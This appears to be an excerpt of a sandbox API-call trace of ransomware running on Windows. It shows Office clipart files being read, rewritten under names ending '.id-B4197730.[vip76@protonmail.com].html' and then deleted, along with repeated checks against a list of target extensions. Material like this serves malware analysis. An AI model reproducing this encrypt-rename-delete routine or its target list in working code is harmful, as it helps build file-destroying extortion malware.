	[0171.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.816] lstrlenW (lpString=".dbf") returned 4
	[0171.816] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0171.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.816] lstrlenW (lpString=".1cd") returned 4
	[0171.816] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0171.816] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01176_.WMF") returned 68
	[0171.816] lstrlenW (lpString=".jpg") returned 4
	[0171.816] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0171.816] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0171.816] lstrlenW (lpString="FD01193_.WMF") returned 12
	[0171.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0171.817] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1160) returned 1
	[0171.818] CloseHandle (hObject=0x580) returned 1
	[0171.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 0x220
	[0171.818] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0171.818] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.818] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.818] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0171.819] GetLastError () returned 0x0
	[0171.819] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x488, lpOverlapped=0x0) returned 1
	[0172.173] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x490, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x490, lpOverlapped=0x0) returned 1
	[0172.174] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.174] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.174] SetEndOfFile (hFile=0x510) returned 1
	[0172.174] CloseHandle (hObject=0x510) returned 1
	[0172.175] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.175] SetEndOfFile (hFile=0x580) returned 1
	[0172.178] CloseHandle (hObject=0x580) returned 1
	[0172.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0172.179] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01193_.wmf")) returned 1
	[0172.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.179] lstrlenW (lpString=".doc") returned 4
	[0172.179] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.179] lstrlenW (lpString=".docx") returned 5
	[0172.180] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.180] lstrlenW (lpString=".pdf") returned 4
	[0172.180] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.180] lstrlenW (lpString=".xls") returned 4
	[0172.180] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.180] lstrlenW (lpString=".xlsx") returned 5
	[0172.180] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.180] lstrlenW (lpString=".ppt") returned 4
	[0172.180] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.180] lstrlenW (lpString=".zip") returned 4
	[0172.180] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.180] lstrlenW (lpString=".rar") returned 4
	[0172.180] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.180] lstrlenW (lpString=".bz2") returned 4
	[0172.180] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.180] lstrlenW (lpString=".7z") returned 3
	[0172.180] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.180] lstrlenW (lpString=".dbf") returned 4
	[0172.180] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.181] lstrlenW (lpString=".1cd") returned 4
	[0172.181] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.181] lstrlenW (lpString=".jpg") returned 4
	[0172.181] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.181] lstrlenW (lpString=".doc") returned 4
	[0172.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.181] lstrlenW (lpString=".docx") returned 5
	[0172.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.181] lstrlenW (lpString=".pdf") returned 4
	[0172.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.181] lstrlenW (lpString=".xls") returned 4
	[0172.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.181] lstrlenW (lpString=".xlsx") returned 5
	[0172.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.181] lstrlenW (lpString=".ppt") returned 4
	[0172.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.181] lstrlenW (lpString=".zip") returned 4
	[0172.181] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.181] lstrlenW (lpString=".rar") returned 4
	[0172.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.182] lstrlenW (lpString=".bz2") returned 4
	[0172.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.182] lstrlenW (lpString=".7z") returned 3
	[0172.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.182] lstrlenW (lpString=".dbf") returned 4
	[0172.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.182] lstrlenW (lpString=".1cd") returned 4
	[0172.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01193_.WMF") returned 68
	[0172.182] lstrlenW (lpString=".jpg") returned 4
	[0172.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.182] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0172.182] lstrlenW (lpString="FD01658_.WMF") returned 12
	[0172.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0172.183] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=17924) returned 1
	[0172.183] CloseHandle (hObject=0x580) returned 1
	[0172.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220
	[0172.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0172.184] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.184] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0172.185] GetLastError () returned 0x0
	[0172.185] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x4604, lpOverlapped=0x0) returned 1
	[0172.188] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x4610, lpOverlapped=0x0) returned 1
	[0172.189] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.190] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.190] SetEndOfFile (hFile=0x510) returned 1
	[0172.190] CloseHandle (hObject=0x510) returned 1
	[0172.190] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.190] SetEndOfFile (hFile=0x580) returned 1
	[0172.194] CloseHandle (hObject=0x580) returned 1
	[0172.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0172.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1
	[0172.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.198] lstrlenW (lpString=".doc") returned 4
	[0172.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.200] lstrlenW (lpString=".docx") returned 5
	[0172.200] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.200] lstrlenW (lpString=".pdf") returned 4
	[0172.201] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.201] lstrlenW (lpString=".xls") returned 4
	[0172.201] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.201] lstrlenW (lpString=".xlsx") returned 5
	[0172.201] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.201] lstrlenW (lpString=".ppt") returned 4
	[0172.201] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.201] lstrlenW (lpString=".zip") returned 4
	[0172.201] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.201] lstrlenW (lpString=".rar") returned 4
	[0172.201] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.201] lstrlenW (lpString=".bz2") returned 4
	[0172.201] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.201] lstrlenW (lpString=".7z") returned 3
	[0172.201] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.201] lstrlenW (lpString=".dbf") returned 4
	[0172.201] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.201] lstrlenW (lpString=".1cd") returned 4
	[0172.201] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.201] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.201] lstrlenW (lpString=".jpg") returned 4
	[0172.201] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.202] lstrlenW (lpString=".doc") returned 4
	[0172.202] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0172.202] lstrlenW (lpString=".docx") returned 5
	[0172.202] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0172.202] lstrlenW (lpString=".pdf") returned 4
	[0172.202] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0172.202] lstrlenW (lpString=".xls") returned 4
	[0172.202] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0172.202] lstrlenW (lpString=".xlsx") returned 5
	[0172.202] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0172.202] lstrlenW (lpString=".ppt") returned 4
	[0172.202] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0172.202] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.202] lstrlenW (lpString=".zip") returned 4
	[0172.202] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0172.202] lstrlenW (lpString=".rar") returned 4
	[0172.202] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0172.202] lstrlenW (lpString=".bz2") returned 4
	[0172.202] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0172.202] lstrlenW (lpString=".7z") returned 3
	[0172.203] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0172.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.203] lstrlenW (lpString=".dbf") returned 4
	[0172.203] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0172.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.203] lstrlenW (lpString=".1cd") returned 4
	[0172.203] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0172.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68
	[0172.203] lstrlenW (lpString=".jpg") returned 4
	[0172.203] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0172.203] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0172.203] lstrlenW (lpString="FD01659_.WMF") returned 12
	[0172.203] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0172.205] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=31180) returned 1
	[0172.205] CloseHandle (hObject=0x580) returned 1
	[0172.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 0x220
	[0172.205] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0172.205] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0172.206] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.206] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.206] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0172.206] GetLastError () returned 0x0
	[0172.207] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x79cc, lpOverlapped=0x0) returned 1
	[0172.210] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x79d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x79d0, lpOverlapped=0x0) returned 1
	[0172.646] ReadFile (in: hFile=0x580, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0172.646] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0172.646] SetEndOfFile (hFile=0x510) returned 1
	[0172.975] CloseHandle (hObject=0x510) returned 1
	[0172.985] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0172.985] SetEndOfFile (hFile=0x580) returned 1
	[0172.990] CloseHandle (hObject=0x580) returned 1
	[0172.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0173.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01659_.wmf")) returned 1
	[0173.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.536] lstrlenW (lpString=".doc") returned 4
	[0173.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.536] lstrlenW (lpString=".docx") returned 5
	[0173.536] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0173.536] lstrlenW (lpString=".pdf") returned 4
	[0173.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.536] lstrlenW (lpString=".xls") returned 4
	[0173.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.536] lstrlenW (lpString=".xlsx") returned 5
	[0173.536] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0173.536] lstrlenW (lpString=".ppt") returned 4
	[0173.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.536] lstrlenW (lpString=".zip") returned 4
	[0173.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.536] lstrlenW (lpString=".rar") returned 4
	[0173.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.536] lstrlenW (lpString=".bz2") returned 4
	[0173.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.536] lstrlenW (lpString=".7z") returned 3
	[0173.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.537] lstrlenW (lpString=".dbf") returned 4
	[0173.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0173.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.537] lstrlenW (lpString=".1cd") returned 4
	[0173.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0173.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.537] lstrlenW (lpString=".jpg") returned 4
	[0173.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0173.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.537] lstrlenW (lpString=".doc") returned 4
	[0173.537] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0173.537] lstrlenW (lpString=".docx") returned 5
	[0173.537] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0173.537] lstrlenW (lpString=".pdf") returned 4
	[0173.537] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0173.537] lstrlenW (lpString=".xls") returned 4
	[0173.537] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0173.537] lstrlenW (lpString=".xlsx") returned 5
	[0173.537] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0173.537] lstrlenW (lpString=".ppt") returned 4
	[0173.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0173.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
	[0173.537] lstrlenW (lpString=".zip") returned 4
	[0173.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0173.537] lstrlenW (lpString=".rar") returned 4
	[0173.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0173.537] lstrlenW (lpString=".bz2") returned 4
	[0173.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0173.537] lstrlenW (lpString=".7z") returned 3
	[0173.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0173.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01659_.WMF") returned 68
